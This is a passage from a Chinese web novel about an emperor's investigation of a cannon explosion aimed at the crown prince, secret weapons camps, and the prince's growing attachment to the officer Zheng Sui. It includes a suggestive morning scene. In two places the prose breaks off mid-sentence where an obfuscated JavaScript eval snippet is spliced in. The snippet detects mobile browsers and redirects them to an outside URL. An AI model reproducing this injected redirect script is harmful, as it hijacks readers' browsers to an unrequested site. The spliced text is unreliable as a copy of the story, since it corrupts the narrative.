“是臣只能造出这么一批东西。”卜南山仍保持躬身之姿,“奉皇十七年,陛下下旨组建火炮甲营,敕命兵部协军械监制炮。新任兵部尚书闵宗秀立下军令状,年底将铸成大小铜炮二百口,震惊朝野。因为当年所拨铜量,只够从前一百门中型铜炮所用。” “更令人瞠目的是,这二百门炮真的造了出来。且比从前更轻、更灵活、火耗更少。” 为此,闵宗秀青云直上,甫露头角便成为国之重臣。 卜南山抬头,僭越地直视君王,“但陛下有没有想过,究竟是什么样的技术,能将磨耗降到如此之低?” 萧恒道:“你是指闵宗秀偷工减料。” 卜南山只道:“闵尚书新官上任,又得陛下赏识,急需一番成绩站稳脚跟,便夸下海口,要用这一百炮之铜料作二百之数目。臣身为监造,与尚书系于一体,只能共同进退。” 萧恒鼻中一嗤,却毫无小一:“如今你倒反他的戈了。” “天威如雷,不敢试险。” “如此看来,你还是个直臣。”萧恒语气毫无起伏。 “臣罪该万死,但请陛下怜恤兵部工部大小吏员三百余口。尚书海口已出,他们违逆,就是抗旨。”卜南山叩首于地,“请陛下开恩。” 他没有再起身。 萧恒察觉不对,当即喝道:“尉迟!” 尉迟松立马跨步上前,翻过卜南山肩膀,见他已咬断了舌头。 当廷自裁。 如此一来,神威炮案只能结在闵宗秀身上。 萧恒道:“叫有司协同,仔细盘查这个卜南山。他的亲族、师承和出身,必须一五一十地翻出来。” 尉迟松问:“陛下觉得他在欺君?” “他说的是实话,闵宗秀贪功不假。”萧恒沉声道,“就怕他是要用这个‘不假’,把其他东西盖起来。” “军械铸造事关重大,只说铜炮,我记得半年都会视检一次。去年是我亲自去,后面是杨士嵘在跑,三年十数次,至少火炮没出过端倪。怎么偏偏就在太子当场的时候出事?” 储君亲自观礼,龙武卫中郎将奉旨督视,闵宗秀就算再愚蠢自大,凑也会凑出五门好炮应付得当。非要拿这么几口破烂,他是嫌脑袋长得太扎实了。 尉迟松心惊肉跳,“他们是冲殿下来的?” 萧恒沉面不语。 试火失败之事原本只干系军防,但今日萧玠在场,性质就完全变了。 如果不是郑绥反应迅速,萧玠会不会被炸成碎片? 倘若真冲萧玠来的,谁是主使? 闵宗秀没有这个胆子,卜南山嫌疑重重,但绝不会是幕后主使。 柳州、世族、南秦,还有屡清不止的影子残部……这些年萧玠得罪的人太多了。 萧恒深吸口气:“别的事按下,叫龙武卫全力调查这件事。太子那边……我和他说。” *** 萧玠边拧手巾边听完萧恒的话。 他手腕一翻、手指一紧,就有被冲淡的血水从指缝汩汩涌出。他给郑绥换好伤药,从榻边坐下,对萧恒道:“这件事,我们俩刚刚商量过了。” 萧恒问:“你怎么想?” 萧玠道:“军防为国之大事,不容有失。无论如何,闵犯不冤,先杀闵宗秀以儆效尤。” 萧恒不置可否,又问:“卜南山呢?” 萧玠道:“我的意思是引蛇出洞。” 他看萧恒神色,再道:“背后若是冲我来的,如今我安然无恙,不怕他们不再动手。但有举动,必露马脚。” 萧恒盯着他,却问:“郑郎也是这个意思?” 萧玠抢断道:“我的事他当不了家。” 他终于有些焦急:“阿爹,我是次要,最要紧的是神威炮的事,军备里不知有多少纸糊的老虎、硕鼠钻出的窟窿。亡羊补牢,为时未晚。” 萧恒看他好一会,点头道:“你主意大了。” 萧玠叫:“阿爹。” 萧恒道:“去看看药好了没有。” 萧玠道:“瑞官在盯着。” 萧恒道:“那就去瞧你闺女,一整日不见你们两个人,她心里不害怕?” 萧玠心知萧恒要单独同郑绥讲话,却不知他要讲什么,低头看郑绥,在郑绥眨眼示意后才缓缓立起,脚步迟迟地出了门。 萧玠甫一离开,郑绥就要起身,“陛下……” 萧恒按住他肩头,“你躺着就是。” 郑绥也不强撑,重新伏在枕上。萧恒看向他手臂,上面绑着一道深红布条,因常年浆洗,已经褪色发白。但萧恒太熟悉那花纹图案,心中一惊。 不是为萧玠居然把秦灼临行前撕裂的裾边给了他,而是为这些年,郑绥一直将它贴身带在身边。 血里火里,未有一刻离身。 郑绥只以为他因萧玠的大胆行动深思,斟酌道:“殿下心有担负,您应当高兴。” 萧恒道:“按他的个性,会对火炮营刨根问底。可以告诉他。” 郑绥问:“全部?” 萧恒颔首,“今日的情形你看到了。只给他军权还是不够,他得掌握军机要事,得让他知道剑放在什么地方。我本来想把一切都打点好,再交到他手上。” 萧恒笑了笑:“我一直把他当孩子。但他早就长大了。” 他看向床边,给郑绥挑铜片的漆盘搁在脸盆架旁,浸血帕子皱成一团,全程被萧玠攥在掌心,仍残存他五指的形状。 萧恒突然问了一桩似乎和前言毫不相干的事:“知道给你清创的时候,我为什么要阿玠留下吗?” 郑绥摇头:“臣愚钝。” 萧恒缓声道:“郑郎,有你在他身边,我放心。我是要走在他前头的,作为萧玠的父亲,我希望你能更长久地陪着他。” 郑绥一惊,忙道:“陛下……” 萧恒摇手制止他,“我知道沈氏和虞闻道两桩前情伤得他很深,他好容易能好些,你便不敢轻易开口。你这样珍惜他,我很感激。既如此,你得让他自己想过来,你得让他看看你为他受的伤,他会对你有亏欠。” 郑绥一时没有说话,失血的脸过分苍白,显得文士般腼腆。 他艰涩道:“可……臣不愿见殿下难过。臣盼望的,也只有殿下平安顺遂而已。” 萧恒凝视他许久,似乎叹了口气:“你是个真心的孩子。” 他站起身,用一个人父的语气,像做出一个托付: “郑郎,我拜托你,再等等他吧。” *** 郑绥就这样在东宫住下,萧玠不许他挪去偏殿,非要自己看着才安心,便叫瑞官从旁支了榻。 山水屏风再度立起,却非分隔两床,而是把两人隔于外面的世界。或许因为夜深了,两个人说话也不由自主低起来。郑绥后背新敷了药,只虚虚披着袍子,问:“瞧过太阳了么?” 萧玠颔首道:“她也懂事,鹏英讲你在忙,便不闹着要找。说新学了诗,等你回家背给你听。” “学的什么?” “学的就是《诗》,昨日是《硕鼠》,今天是《伐檀》。” “听得懂么?” “知道是骂贪官的。”萧玠笑道,“学那些婚恋诗就瞌睡,这些怨刺的她反倒听得精神。” 郑绥笑了笑:“没辜负你费心给她取的名字。” 萧玠又笑:“是做爹的教育得好。” 郑绥静了一会,到底还是道:“火炮营的事,你有什么想问的吗?” 萧玠不料他如此直接,也松开手臂,侧躺在自己枕上,这样四目相对地看他,片刻才道:“我瞧过大梁火炮的记载,三代以来炮力未有明显增益。但玉升二年于塞外对北部狄族的一次作战,整体火力非常强悍,仅一门碗口炮在三丸之内就炸毁了整座碉楼,这是至今未有之事。这几门炮车现在被保留在兵部军械库里,我白日带人去瞧过,但听匠人说这些炮车也是兵部制造,只是符合规制,并无特殊之处。” 郑绥沉吟片刻,道:“火药。” “火药?” “是,直接影响炮力的只有两个,炮车没有异处,那只能是火药。”郑绥道,“那次火药的质量好。” 萧玠奇道:“我还以为火药都是按方子制作,影响最小。” 郑绥摇头:“如今火药还是按旧有配方,但火药是从炼丹家那里来的,修道之人大多按阴阳五行配料,总有点不大实际。起码现在的火药很容易受潮,不能储存太久,其实对于行军不大便宜。几年前我实地验看过,有一门盏口炮闷死,就是火药受潮的原因。” 他什么时候验看的? 这个念头一闪而过并未停留,萧玠继续追问:“还有旁的吗?” 郑绥想了想,道:“还有就是火药纯度不高。因为配料的硝石和硫石总有杂质,提纯太难。而且火药研磨只能靠舂碾,所得太过粗糙,从炮膛剩余的残料来看,总是很难燃烧充分。这两件事单靠人力很难做到。” 萧玠蹙眉:“这么多年,朝廷竟无人改良工艺?” 郑绥叹口气:“你我能想到的,陛下岂能想不到?但凡要改革火药工艺,就得招人运行,但凡有人就容易出问题。陛下下令研制新器,就要用人用料,这些年工价矿价皆有上涨,但近几年陛下休生养息,举国赋税减免大半,国库本就不充裕,能拨出的费用就更少。而且与此同时,火药的价钱反倒逐年减少。殿下想想,高火耗、高用价,却少资费、少获利,如此入不敷出,这活怎么做下去?” 萧玠有些了然,“所以他们偷工减料。” 郑绥颔首,“一辆炮车制作需要兵部工部各处配合,为了能瞒天过海,只怕也会有行贿收买。” 还是贪,又是贪。 郑绥许久没听见萧玠的动静,心中一紧,忙叫:“殿下。” 萧玠伏在榻上,目光似乎穿过郑绥望向不知何方。他低声道:“从奉皇十五年杨相公代天巡狩起,六年了。陛下查贪查了六年了。” 越查越烂哪。 不断有冻骨、有饿殍,有人争食草根时有人把粱肉倒进恭桶。 有人挥金如土,有人为一个铜板头破血流。 有一个两个人挥金如土。 有一亿两亿人穷。 萧玠参政以来已经看得明白,大梁帝国是个身染花柳的没落贵族,外面瞧锦衣华服,却裹着毒疮流脓。一个从头烂到脚的病人要想活命,只能把浑身脓疮挖干净,但他游丝般的生命又扛不过这样削肉剔骨的清创手段。他要么死于治疗,要么死于放弃治疗。对这样一个注定死亡的病患,父亲从放弃医治他到努力杀死他,又放弃杀死他再不得不治他。所有人都靠他的家财活命,他一死,至少这一时代的人,都要做他的生殉和牺牲。 杀死皇帝何其容易,真正的难题是如何救活依附皇帝的臣民。 郑绥见他愁眉不展,握握他的手,道:“你别太担心,陛下确实看重火炮,但没有把宝全部押在兵部。” 见萧玠怔愣,郑绥便笑道:“殿下不好奇,火炮营为什么是甲营吗?” “你的意思是……”萧玠意识到什么,立即压低声音,“还有其他火炮试点?” “不止。有甲营就有乙营丙营,有神威将军炮就有神武将军炮,有火炮,就有水师。”郑绥说,“陛下这几年给兵部拨款一百万两,但给军用一共拨了三百五十万两。” 一个猜测从萧玠心头产生,“你是说……” 郑绥点头,“陛下共设四处军事用地。东部沅州赞州,还有两支水师。” 萧玠了然,“怪不得你带我去吴州,等我好些,隔三差五总会出去。从吴州去沅州,坐快船只有一日行程。” “是,除此之外,在内地还有两个营地,以火器为主,和兵部的火炮甲营对应,各为乙、丙。丙营专攻便携火器,像火铳和地丸,不管远近交战还是诱敌深入都能派上大用。乙营主要改进工艺和研制神威炮。”郑绥道,“神威炮交给兵部是依照前例,但陛下还是不太信任先有的兵部机制。各部盘根错节,很容易因此勾结贪贿。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694268|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正因如此,一变皆变,要改兵部就要改六部。前两年刚挖掉潮柳的腐肉,现在立即开刀朝廷不一定经受得住。而且兵部虽有蠹虫,也不乏贤才。陛下便没有擅动,神威炮铸造之事依旧交给兵部,但同时乙营也收到了一张一样的图纸。” 萧玠问:“刚刚不是说,革新工艺十分困难?” 郑绥颔首,“是难,但总得开始。就像火药提纯和研磨的问题,我们在想能不能研制一种机器来做。这件事,虞仙翚给了我灵感。” “水力?” “不止水力,雷电,燃烧,甚至风……”郑绥道,“自然之力能摧毁万物,水火雷电难以抵挡,如果有一天这些毁灭的力量能用到造物上……” 他笑了笑:“现在有人在专门钻研这些事,只是暂时还没有见效。可从地方组织人手,贪贿的问题很容易清查,所以就算同样靠人为研磨,乙营的火药质量也比甲营要好。但甲营的神威炮也不能不做,兵部虽有蠹虫却不乏大才,不得不承认,他们在武器设计和精密计算上还是独占鳌头的。除这口炮外,前些年兵部主建的填丸弩和龙骨车,都派上了大用。” 萧玠问:“你一直以来东奔西跑,都是为了这活?” 郑绥颔首,“是。” “你在哪个营里?” “哪个营都做过。” “你好厉害。”萧玠笑。 “殿下过奖。”郑绥也笑了。 两个人头对着头,萧玠便侧首问:“什么时候开始的?” “奉皇十五年。”郑绥笑道,“陛下觉得要锻炼一批军用人才,矮子队里拔高个,选中了我。” 萧玠道:“怪不得你爹娘催你成亲。” 郑绥也笑:“鹏英也算帮我一个大忙。我一直扯谎去崤北,但时日一久总瞒不住。这时候成亲,总有不在军营的由头,顶多叫人骂两句仗父赚功的混子,当我只是挂名谋职罢了。” 萧玠问:“这样忙,奉皇十五年,还有十七年……你怎么还赶回来?” 郑绥默了一会,道:“你总是最要紧的。” 萧玠知道他指的是什么。 在萧玠生命的两次大事变,一次病危,一次玉陷园。 他也明白了郑绥当年为什么在这么多事情上缄口不言。 事涉军国机要,他只能频繁离去,频繁闭口,频繁被错过,频繁迟一步。 见他不语,郑绥又解释道:“我手头事务加紧做完才回来的。到了十七年……陛下不放心你,有意让我看护,便调我回来,只需有必要事务时回去,平时不用一直在那边靠着。” 萧玠笑一笑,示意没事,问:“你那时候在哪边?” 郑绥眼神有些变化,问:“殿下还记得,奉皇十五年那个冬天,臣给了殿下一幅画吗?” 萧玠睁大眼睛。 他病重垂危之时,郑绥疾奔回京,透露出一些真相的碎片。 他告诉萧玠,自己所去并非崤北,而是另一个机要之地。那里是秦灼曾经的汤沐邑之一,有一座九层宝塔式的光明神祠,里面供奉一座依照秦灼形貌所铸的光明神像。郑绥对着神像画了一幅人像,以慰萧玠的思亲之情。 军机、汤沐邑、光明祠……这些提示在萧玠脑中拼出一个愈发清晰的念头,他的声音有些颤抖:“你是说……” 郑绥未答,拉过萧玠掌心,缓慢写了三个字。 “臣也是后来才知道一件事。”郑绥将他手掌合成拳头,“那座光明神像是陛下派人铸的,但那座塔,是早在奉皇二年秦公就命人修建的。也就是说,这个计划在很久之前就孕育了,这个地方,不是陛下一个人创办的。” 他抬手替萧玠擦了把脸,叹道:“只是那里程忠也知道。潮州案发后,陛下便命所有人员全部迁离,改换新址。但那座塔仍保留着。” 萧玠问:“不会很招摇吗?” 郑绥想了想,“像个遗址。” 两个人都静下来,不说话,只是握手。烛辉脉脉流动,天河般将两人都包裹。 过了一会,郑绥又道:“九层塔的旧图纸在我这里,有空带给你。如果哪天想去看,我陪你去看看。但第九层不要点灯,这是禁令。” 萧玠不解:“这是什么说法?” 郑绥故意卖了个关子:“等你看过图纸就清楚了。秦公把一些问题考虑得很周到,像如果营地被发现,积年的痕迹和机要又无法及时清理,这座塔就能派上大用场。虽然我觉得,陛下保留它,不一定是公心。” 萧玠笑了笑:“我是近些年才明白,私器公用,有时候就是公器私用。” 郑绥注视他,再开口,已经成了闲话时的温柔:“受凉了么?我听今天咳嗽了几声。” 萧玠靠到枕上,“没,今儿心里着急,呛了一下。” 郑绥问:“枇杷膏还有么?” 这话像个弹丸,一下子把萧玠的思绪从父辈爱恨上一击飞去,飞到自己身上,飞到从前,好多年前,也是这么对床躺着,还是十四五岁的年纪。两个人头一回迈进彼此生命的河流里,还不知道对方在自己未来将占据怎样的一席之地。男孩郑绥从萧玠床边卧着,半夜听见咳嗽一个滚翻起来,一面替萧玠抚背一面急切问道:怎么咳的这么厉害,臣去熬药,东宫有没有枇杷膏? 萧玠答:“没了。” 不知怎么,他突然有些心酸,低声道:“你赶紧好起来,不然谁给我熬?” 郑绥一下子失掉从容,忙答应:“好,我赶紧好起来,我好了给你熬。” 萧玠再度躺下,却没有躺回自己枕上。他脑袋抵在郑绥床沿,头发挨着衣袖靠在郑绥手臂边。这样没有一寸肌肤相贴的欲退还迎的依靠,却是萧玠心底比结衣裳结心肠都要牢稳的死结。除了萧恒和郑绥,他从未在任何人身上找到过这种感觉。坚定地,像磐石一片。 *** 萧玠清晨醒来时,正见郑绥撑身侧起。他本还迷迷糊糊,当即吓了个激灵,叫道:“你干什么!” 郑绥也叫他一嗓子吓住,缓过神后失笑:“我想起。” 萧玠板着脸道:“不成,太医嘱咐怎么都要静卧七日。你起来做什么?” 郑绥难得欲言又止,半晌,方道:“更衣。” 萧玠愣了。 他面皮一下子红透,自己支吾起来:“我……我来帮你。” 郑绥有些不自在:“臣自己来就好。” 萧玠心一横,“那三年我但凡发热,都是你给我擦身。” 他本意要说服郑绥也说服自己,结果一想那情形,脸颊更是发烫。再这么磨蹭下去还不知出什么事,便横下心替郑绥解裤带。 郑绥忙道:“不用,真不用。” 萧玠不敢抬头看他,只道:“都是男人怕什么。” 郑绥昨日被担回来后只去了上衣,仍穿代天检阅时那条绢裤,腰间几条盘络有些复杂。萧玠本就紧张,手指越抖越缠作一团,便半跪下给他解。 郑绥大骇,忙要扶他,萧玠低声道:“你站着!这就好了。” 等他终于把那条躞蹀带丢到一旁,将外裤褪下,手脚已经冰凉。这时,郑绥一条手臂叫他撑在自己肩上,下卝身只一条绢绸亵裤。 已经看出大小形状。 且不是偃兵之态。 115.第 115 章 萧玠脑中一空,一下子不知道该做什么。他仍保持着半跪的姿势,脸正冲郑绥腿间,不知是不是眼花,那层布料似乎有了变化,像峰峦一样隐秘地隆起了。 他听见郑绥低低道:“别看了。” 萧玠深吸口气,忙挪开眼睛,手忙脚乱地从地上爬起来。 郑绥声音似乎有些哑:“我不是要冒犯你,是早晨。” 萧玠应:“我晓得。” 郑绥手掌仍撑在他颈后,突然一条烙铁般滚烫起来。萧玠浑身僵硬,难以动弹,突然听郑绥道:“你出去吧,我自己行。” 萧玠立即打断:“你怎么行?” 他眼中突然又是那景象,脱口道:“我不是那个意思,我……” 郑绥一下笑了,手轻轻捏了捏他后颈,道:“去吧。” 萧玠不知怎么,真听他的话出去了,掩门时正见郑绥将那条躞蹀带搭到屏风上。、 那是座矮屏,只拦到他腰际,萧玠似乎听到极轻薄的布料摩擦声,和一道极压抑、但仍从鼻中溢出的粗气。 他果然不是更衣。真的不是。 萧玠一下子把门合上,后背抵门,身体像一个久放缩水的桃子,渐渐干瘪成那么小一个酸苦的核。门内那声不可能被他听见的低喘响起时,萧玠叫一串毫无预兆掉出来的眼泪吓了一跳。 他手指扣紧门上雕花,才能把自己钉在地上不至于倒下去。两人辞宫之后,朝夕相对已有三年。这三年他和郑绥待了一千多个早晨,如何也默知过十数个这样尴尬的早晨,但郑绥没有一个早晨像今早如此难以自禁。萧玠不敢知道这意味什么。他不敢打破这层不知道。 萧玠终于找到自己手脚,摸索着从地上爬起,继而急于找回镇定。他得说点什么。于是他乱七八糟地吩咐:“瑞官,你一会看看小郑将军怎么样,别进去,问他要不要上药。我出去一趟……我去书房,对、你帮我烧水抬去书房,我要洗澡。我昨晚没洗澡。” *** 等萧玠收拾停当,从门口徘徊许久,才再度叩响殿门。 没有人应。 他心里发慌,顾不得什么忙推门进去,见围好的屏风已然拉开,帷幔也全部打起,阁中空无一人。 萧玠忙问:“小郑将军呢?” 瑞官道:“将军府启奏过陛下,将人接走了。” 萧玠急道:“走了?他这么重的伤,怎么走的?” 瑞官道:“皇后殿下命人搭了软轿,把将军好好抬出去的。冠军大将军说本该面见殿下的,但兵部事务紧急移交到他手里,将军着急去前廷受领印信。” 萧玠愣了愣,问:“他没留什么话?没嘱咐我什么吗?” 瑞官仔细回想,摇头:“的确没有。” 萧玠没再追问。 瑞官见他盯着床铺看,似乎那里还躺着人。郑绥起身后又是更衣又是移动,兵荒马乱地来不及收拾。那床秋香色薄被掀在一旁,他做伴读时盖的一床青色绸面被子当了褥子,犹留着几道皱痕。那条躞蹀带仍搭在屏风上,没跟其他王孙公子似的挂香囊挂玉佩,挂的是一串黄铜军牌,每一个都刻着名字,萧玠知道这是他亲手收殓的亲军尸骨。 郑绥不是没有噩梦,只是郑绥不表示。 郑绥也不是没有欲望。 只是从不在萧玠面前展露而已。 可自己的那些情事,却未向郑绥遮掩过分毫。 自己和虞闻道上过床,和沈娑婆也上过床,甚至跟沈娑婆多次温存郑绥都撞见过……他心里怎么想? 他会觉得自己淫卝荡吗,会觉得自己放.浪轻浮吗? 除尴尬外,他没有一点鄙夷不屑吗? 他今早的欲望和自己有关吗? 会有爱吗? 萧玠扶着床幌,在床边缓缓坐下,慢慢从床上蜷成一团。只是被中已无郑绥的余温,冷透顶了。 *** 郑绥带伤出逃后,萧玠竟没去寻他。虞闻道遗留的白玉扳指还在手上,跟洞房夜检验处子的喜帕一样紧紧捆缚住他。他心底对虞闻道总是有几分感情的责任的,甚至还有几分守贞的责任。虞闻道爱他,为他背亲而死,这样生死相许的感情,萧玠以为自己本能为他守志终身。 在大梁朝,忠贞检验的除了烈妇还有君子,萧玠一直以为自己能够从一而终,但一直沦于命运的玩弄。 郑绥似乎也明白他的挣扎,再未进东宫见过他。 期间朝廷略有波动,萧恒将火炮甲营涉事官吏全部清换,也迅速查清卜南山的曾经身份:他父亲曾在虞成柏麾下效力。 神威将军炮炸炮一案,当是他刺驾无疑。 这些年行刺太子之事有增无减,前朝旧人更是遍布天下,萧恒不可能一一网罗格杀。在增加东宫卫兵力、戒严皇城之际,萧恒开始教授萧玠一些防身之术。萧玠的身体不适宜习武,萧恒便着意教些药理蛊物以及暗器操作,以及面具的制作使用。 直到再往后,萧玠才知卜南山事竟是郑绥亲自带伤追查,但从头至尾,郑绥没有和他对接过一次。 他不来,他名义的老婆却径登东宫。 这些日萧玠精神不济,每晚要靠安神汤药入眠。梦中昏昏沉沉之际,感觉身边有什么拱动,多手多脚地扒在他身上。 萧玠一惊而醒,先看见怀里一个扎两揪的小脑袋,脸蛋往他颈边拱。 萧玠笑着搂住她,问:“怎么这时候来了?” 垂帘外响起崔鲲的声音:“家里就要没大人,只能领她来你这儿。” 萧玠只穿件寝衣,更不好当她的面更换,便一条手臂拢过旭章,倚枕问她:“你干什么去?” 崔鲲从桌边坐下,似乎在嗑瓜子,道:“殿下忘了,臣是潮州刺史,这次是回京述职。在京中已经逗留一月有余,再不回去,岂不就成了尸位素餐的昏官?” 萧玠问:“她爹呢?” 崔鲲道:“她爹不是去督察么?” “督察?” “是,火炮甲营不成,但其他的不能耽搁。如今放眼朝中,可堪托付的年轻将领也就郑宁之一个。陛下转授他忠武将军的衔,外派他去监管。”崔鲲听得帘里沉默下来,察觉不对,“怎么,你不知道?他没和你说?” 帘中仍是一片寂静。 “他还让我转交一张宝塔图纸,我给你放桌上了。”崔鲲忍不住问:“你俩究竟怎么了?” 帘内窸窣动了一下,萧玠问:“他伤好了?这样着急赶去,再复发怎么办?” 崔鲲又嗑一枚瓜子,“殿下,这是国事。” 听着那人又不说话,崔鲲道:“他过两日就动身,你不去送送他?这次带兵不比其他,很机密,十年八年不回来也有可能。到时候挈妇将雏地回来,也有可能。” 萧玠声音似乎有些哑:“你是他夫人,他去挈什么妇?” 崔鲲哦一声:“忘了告诉你,我俩和离了。” 话音刚落,帘里一下坐起个人影。 萧玠紧着嗓子问:“什么时候的事?” “他临行之前。”崔鲲道,“小郑心有侠义,先是借婚姻助我入仕,后来怕我一个人担不住流言,又是几年没有和离。五年之内,君子之交,秋毫无犯,放在天下男人里也算是奇闻一件。现如今臣也算站稳脚跟百毒不侵了,实不忍继续耽误他,各放自由之身罢。” 萧玠问:“耽误?” 崔鲲道:“万一他有心上人呢。” 萧玠只是默然。 她将女儿送来,辞行完毕,功成身退。崔鲲远去的脚步声里,旭章窝在萧玠怀中小声叫道:“阿耶,阿耶?” 萧玠回神,垂首问:“什么?” 旭章小脸埋在绣枕上,深深吸一口气:“阿耶的枕头好香呀。” 萧玠笑了笑,从枕下摸出一只香囊。是以降真香为君配的一只,这几日刚刚做好。 旭章忙抱在手心,“就是这个味道,戴在身上就是一身阿耶的味啦。” 童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694953|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言无忌,却戳中了萧玠几分隐晦心事。他将那香囊搁远,道:“小孩子戴不得的。” 旭章问:“那爹能戴吗?” 萧玠笑笑:“得看看你爹愿不愿意。” 说起她爹,旭章想起什么,抓过自己腰间的小囊袋,从里面摸出一只小瓶。萧玠一看就晓得缘故,问:“爹给你的?” 旭章道:“爹说这个治咳嗽,要阿耶多吃。” 萧玠接在手里,小小的一瓶,叫旭章在怀里揣久了,带着淡淡温暖。 自己不肯讲一句,非要女儿做青鸟。 见旭章眨着大眼睛等他,萧玠便打起精神,笑问:“就这点,吃完了呢?” 旭章道:“爹熬了好多好多,吃完还有的。” 萧玠笑道:“你当爹是个无底洞吗?叫阿耶怎么掏都掏不空的。” 旭章脸贴到他怀里,小声道:“反正每次阿耶想要什么,爹总能变来。” 是吗?萧玠回想,发现似乎真是如此。郑绥对他从来有求必应。 那这次,他怎么没把自己变过来? *** 七月流火,天气转凉,崔鲲辞京,郑绥动身。 自始至终太子未曾出面。 郑绥去东宫拜见,瑞官抱歉道:太子清早去白龙山祭奠阿子,还未回宫。 现在不是阿子的生日也不是忌日。郑绥明白,萧玠在躲他,便告辞走了。 郑绥晌午出宫,下午出行。 火炮乙营的统率共有两人,一个是他这个后起之秀,一个便是威名赫赫的老将赵荔城。两人行进路线不同,便分别前行。由于火炮乙营驻扎西南,且驻地隐秘,郑绥便未带车从,一个人转水路前进。 行船的是一双夫妇,船舱分隔两室,正好能住两家客人。船上靠水吃水,丈夫掌船,娘子采菱,这时节红菱正好,积满一甲板。舟娘子一个人忙活不过来,郑绥便出舱帮忙。 舟娘子笑道:“听郎君口音不像南方人。” 郑绥道:“老家在崤北。” 舟娘子奇道:“都说崤北苦寒,结冻的河面走人马都够了,郎君这活倒做的利索。” 郑绥笑道:“去吴州住过一段。” 他接过短刀,把根茎拢成一把切断,问舟娘子:“放篮子里么?” 舟娘子啧然:“郎君果然是个过日子的。从前不少北方的客人也来帮手,把菱秧全当草根扔了,却不知这才是美味。郎君自家也做菱秧丸子么?” 郑绥把切好的菱秧放进篮子,继续动刀,道:“家里的不吃荤,只煲过汤吃。” 舟娘子道:“这就是你外行了,你拿豆腐荠菜和菱角菜切得细碎,再取鸡头菱磨粉调匀,做素丸子,比肉丸子还要鲜。” 郑绥笑道:“受教,我一会找纸笔记一记,还望娘子不吝菜方。” 舟娘子笑着捋袖:“有郎君这样的相公,家里娘子有福气。” 郑绥手中一顿,解释道:“不是,家里有个兄弟。” 舟娘子啊呀一声,笑道:“冒犯冒犯,我瞧郎君的年纪如何也当成家立业了。” 郑绥一笑,不再讲话。 今日菱角丰收,靠岸休息后舟娘子便预备做菱角席,正要往舱中取锅瓢,便听艄夫在船头道:“客满了,两间舱房都有人,再住不得了。” 接着是女孩脆生生道:“我爹在,我们和爹挤一间。” 这女孩声音甫出,舟娘子便听哗啦一声,扭头见一串菱角从郑绥五指间松脱。他神色不可置信,脚步却极快,生风似的跑过船舱直奔船头,踩得船身一阵地动山摇。 舟娘子忙跟过去,见一个水碧裙子的女孩一下子扑过来,紧紧抱住郑绥大腿。 她身后,一个穿月白衫袍的年轻人拂帘钻进舱中。 郑绥见着来人,一愣,道:“你来了。” 那年轻人静静看他一会,忽地笑了,笑得比水面都温柔。他从袖中拿出一根躞蹀带递过来,说:“我来还郎君的腰带。” 116.第 116 章 躞蹀带交到郑绥手里时,萧玠没有立即松手,叫那条腰带变得像一条绳索,把两个人都绑住了。郑绥想拉走,萧玠仍死死捏着另一头,望着他的眼睛似乎含着泪水般的委屈。 郑绥一下子夺不动了。 舟娘子知情识趣,退出舱中。萧玠手指这才松了力,叫郑绥牵去舱室里。 一关舱门,旭章当即仰起小脸扁嘴:“爹,你怎么也要跑?” 郑绥抱她坐下,叫她坐在膝盖上,道:“爹得去挣钱,不然怎么养太阳呢。” 自从见面,萧玠眼睛一直粘在他身上,开口问:“伤怎么样了?” 郑绥笑道:“这么长时日,早已大好了。” 萧玠道:“我瞧瞧。” 郑绥仍推拒:“太阳还在。” 萧玠道:“她早晚要懂事,得知道你吃的哪口饭。” 他这番话说得不容置疑,旭章已乖巧地从郑绥膝盖上滑下来。郑绥揉了揉女儿的脑袋,站起背过身,将外袍解开。 他后背一袒露,旭章当即搂住他的腿哭起来。郑绥忙抱她在怀里哄,好一会,方听萧玠倚着案凉凉道:“你晓得了吧,你受伤,有的是人伤心。这样带伤跑走,更要伤谁呢?” 郑绥一时无言,萧玠已站起来,走到他身后,对着他满背伤疤默了许久。 郑绥听见轻微衣衫窣动和萧玠吸气的声音,晓得他也掉了眼泪,要宽慰,却如何也张不开嘴。半晌,他终于问:“怎么找过来的?” 萧玠道:“问的阿爹。你的行程他大致有数。” 旭章吸着鼻子补充道:“阿耶带我一条船一条船的找,找了八九十来天,还以为见不着爹了。” 郑绥问:“有要紧事?” 萧玠道:“是。” 郑绥心头一紧,忙问:“什么事?” 萧玠道:“来送送你。” 郑绥哑然片刻,道:“临走前,我去找过你。以为你不愿见我。” 萧玠倚在案边,眼睛只瞧袍摆下低低道:“我不能后悔么?” 郑绥一怔,呼吸微微加重:“你……” 这时候舟娘子已在外喊道:“甲舱的客人,出来吃饭了。” 萧玠没说什么,帮他将外袍披上,将搁在案边的那条躞蹀带拾起来,环过他腰间帮他系好。做完这些,他一手牵过旭章,没言语,先携女儿出了舱门。 *** 一顿饭后天色已晚,略在船头站了站便已入夜。河水如绸,静静波动,一时只听得摇橹拨水和藕花摩肩擦踵之声。 旭章趴在船头,伸手指向岸边:“呀,好多灯!” 萧玠随之望去,见岸上挂起花灯一片,隔水传来朦胧的欢会热闹之声。萧玠揽着旭章,问清洗竹篓的舟娘子:“请问娘子,今儿是什么地方节会吗?” 舟娘子笑道:“郎君可不是忘记了日子?今儿是七夕,开灯会呢。一会还会有烟花……哟,说什么来什么。” 